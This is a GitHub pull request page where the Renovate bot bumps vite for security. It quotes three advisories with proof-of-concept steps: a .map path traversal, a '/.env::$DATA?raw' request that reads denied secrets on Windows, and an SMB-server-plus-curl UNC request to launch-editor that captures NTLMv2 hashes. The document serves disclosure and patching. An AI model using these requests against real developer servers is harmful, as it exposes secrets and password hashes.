Skip to content

chore(deps): update dependency vite to ^5.4.21 [security] - #81

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vite-vulnerability
Open

chore(deps): update dependency vite to ^5.4.21 [security]#81
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vite-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Apr 8, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
vite (source) ^5.3.5^5.4.21 age confidence

Vite Vulnerable to Path Traversal in Optimized Deps .map Handling

CVE-2026-39365 / GHSA-4w7w-66w2-5vf9

More information

Details

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • have a sensitive content in files ending with .map and the path is predictable
Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC
  1. Create a minimal PoC sourcemap outside the project root
    cat > /tmp/poc.map <<'EOF'
    {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
    EOF
  2. Start the Vite dev server (example)
    pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080
  3. Confirm that direct /@fs access is blocked by strict (returns 403)
    image
  4. Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map
    image

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


vite: server.fs.deny bypass on Windows alternate paths

CVE-2026-53571 / GHSA-fx2h-pf6j-xcff

More information

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • the sensitive file exists in the allowed directories specified by server.fs.allow
  • either of:
    • the sensitive file exists in an NTFS volume
    • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)
Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw
deecc1315123883cfd0f9c26a002845a

Example expected result:

  • /.env::$DATA?raw returns the contents of .env
  • /tls.pem::$DATA?raw returns the contents of tls.pem

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

CVE-2026-53632 / GHSA-v6wh-96g9-6wx3

More information

Details

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

  • using Windows
  • NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
  • the user accesses the attackers website that sends request to a middleware using launch-editor
  • the server that has the middleware using launch-editor is running
  • the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

2026-01-30_10-58

Severity

  • CVSS Score: 5.5 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitejs/vite (vite)

v5.4.21

比较 Source

Please refer to CHANGELOG.md for details.

v5.4.20

比较 Source

Please refer to CHANGELOG.md for details.

v5.4.19

比较 Source

Please refer to CHANGELOG.md for details.

v5.4.18

比较 Source

Please refer to CHANGELOG.md for details.

v5.4.17

比较 Source

Please refer to CHANGELOG.md for details.

v5.4.16

比较 Source

Please refer to CHANGELOG.md for details.

v5.4.15

比较 Source

Please refer to CHANGELOG.md for details.

v5.4.14

比较 Source

Please refer to CHANGELOG.md for details.

v5.4.13

比较 Source

Please refer to CHANGELOG.md for details.

v5.4.12

比较 Source

This version contains a breaking change due to security fixes. See GHSA-vg6x-rcgg-rjx6 for more details.

Please refer to CHANGELOG.md for details.

v5.4.11

比较 Source

Vite 6 is out!

Today, we're taking another big step in Vite's story. The Vite team, contributors, and ecosystem partners are excited to announce the release of the next Vite major:

We want to thank the more than 1K contributors to Vite Core and the maintainers and contributors of Vite plugins, integrations, tools, and translations that have helped us craft this new major. We invite you to get involved and help us improve Vite for the whole ecosystem. Learn more at our Contributing Guide.

⚠ BREAKING CHANGES
  • drop node 21 support in version ranges (#​18729)
  • deps: update dependency dotenv-expand to v12 (#​18697)
  • resolve: allow removing conditions (#​18395)
  • html: support more asset sources (#​11138)
  • remove fs.cachedChecks option (#​18493)
  • proxy bypass with WebSocket (#​18070)
  • css: remove default import in ssr dev (#​17922)
  • lib: use package name for css output file name (#​18488)
  • update to chokidar v4 (#​18453)
  • support file:// resolution (#​18422)
  • deps: update postcss-load-config to v6 (#​15235)
  • css: change default sass api to modern/modern-compiler (#​17937)
  • css: load postcss config within workspace root only (#​18440)
  • default build.cssMinify to 'esbuild' for SSR (#​15637)
  • json: add json.stringify: 'auto' and make that the default (#​18303)
  • bump minimal terser version to 5.16.0 (#​18209)
  • deps: migrate fast-glob to tinyglobby (#​18243)
Features
Bug Fixes
Performance Improvements
Documentation
Reverts
Miscellaneous Chores

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@changeset-bot

changeset-bot Bot commented Apr 8, 2026

Copy link
Copy Markdown

⚠️ No Changeset found

Latest commit: 497b704

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from e6fd750 to 601db85 比较 April 15, 2026 13:55
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to ^5.4.21 [security] Apr 15, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 601db85 to 58c0067 比较 April 16, 2026 10:09
@renovate renovate Bot changed the title chore(deps): update dependency vite to ^5.4.21 [security] chore(deps): update dependency vite to v6 [security] Apr 16, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 58c0067 to c23dde3 比较 April 16, 2026 16:14
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to ^5.4.21 [security] Apr 16, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from c23dde3 to 4343258 比较 April 17, 2026 00:05
@renovate renovate Bot changed the title chore(deps): update dependency vite to ^5.4.21 [security] chore(deps): update dependency vite to v6 [security] Apr 17, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 4343258 to 94af1ee 比较 April 21, 2026 20:38
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to ^5.4.21 [security] Apr 21, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 94af1ee to a2e6339 比较 April 22, 2026 03:46
@renovate renovate Bot changed the title chore(deps): update dependency vite to ^5.4.21 [security] chore(deps): update dependency vite to v6 [security] Apr 22, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from a2e6339 to f5cb9ea 比较 April 23, 2026 15:58
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to ^5.4.21 [security] Apr 23, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from f5cb9ea to d82b252 比较 April 23, 2026 18:58
@renovate renovate Bot changed the title chore(deps): update dependency vite to ^5.4.21 [security] chore(deps): update dependency vite to v6 [security] Apr 23, 2026
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v6 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate
renovate Bot deleted the renovate/npm-vite-vulnerability branch April 27, 2026 18:09
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] - autoclosed chore(deps): update dependency vite to v6 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch 3 times, most recently from 8715539 to 798b53e 比较 April 29, 2026 19:03
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to ^5.4.21 [security] Apr 29, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 798b53e to b552eba 比较 April 29, 2026 23:44
@renovate renovate Bot changed the title chore(deps): update dependency vite to ^5.4.21 [security] chore(deps): update dependency vite to v6 [security] Apr 29, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from b552eba to 6ac5678 比较 April 30, 2026 14:59
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to ^5.4.21 [security] Apr 30, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from e2537bc to 8cb789b 比较 May 18, 2026 23:45
@renovate renovate Bot changed the title chore(deps): update dependency vite to ^5.4.21 [security] chore(deps): update dependency vite to v6 [security] May 18, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 8cb789b to d36418b 比较 May 22, 2026 19:44
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to ^5.4.21 [security] May 22, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from d36418b to 30f4fca 比较 May 22, 2026 21:59
@renovate renovate Bot changed the title chore(deps): update dependency vite to ^5.4.21 [security] chore(deps): update dependency vite to v6 [security] May 22, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 30f4fca to 75213a0 比较 May 28, 2026 21:36
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to ^5.4.21 [security] May 28, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 75213a0 to a39157b 比较 May 29, 2026 01:11
@renovate renovate Bot changed the title chore(deps): update dependency vite to ^5.4.21 [security] chore(deps): update dependency vite to v6 [security] May 29, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from a39157b to 1057f99 比较 June 1, 2026 20:08
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to ^5.4.21 [security] Jun 1, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 1057f99 to ee9919f 比较 June 2, 2026 01:30
@renovate renovate Bot changed the title chore(deps): update dependency vite to ^5.4.21 [security] chore(deps): update dependency vite to v6 [security] Jun 2, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from ee9919f to 0cfd8ec 比较 June 11, 2026 14:55
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to ^5.4.21 [security] Jun 11, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 0cfd8ec to bdc99cc 比较 June 12, 2026 00:32
@renovate renovate Bot changed the title chore(deps): update dependency vite to ^5.4.21 [security] chore(deps): update dependency vite to v6 [security] Jun 12, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from bdc99cc to 00e7011 比较 June 18, 2026 18:08
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to ^5.4.21 [security] Jun 18, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 00e7011 to 0292f7d 比较 June 19, 2026 00:32
@renovate renovate Bot changed the title chore(deps): update dependency vite to ^5.4.21 [security] chore(deps): update dependency vite to v6 [security] Jun 19, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 0292f7d to d0ac7f2 比较 June 24, 2026 21:42
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from d0ac7f2 to a49ba73 比较 July 12, 2026 10:10
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to ^5.4.21 [security] Jul 12, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from a49ba73 to 318f66f 比较 July 12, 2026 17:08
@renovate renovate Bot changed the title chore(deps): update dependency vite to ^5.4.21 [security] chore(deps): update dependency vite to v6 [security] Jul 12, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 318f66f to 3f9627a 比较 July 16, 2026 19:41
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to ^5.4.21 [security] Jul 16, 2026
注册 for free to join this conversation on GitHub. Already have an account? 登录 to comment

标签

None yet

项目

None yet

Development

Successfully merging this pull request may close these issues.

0 participants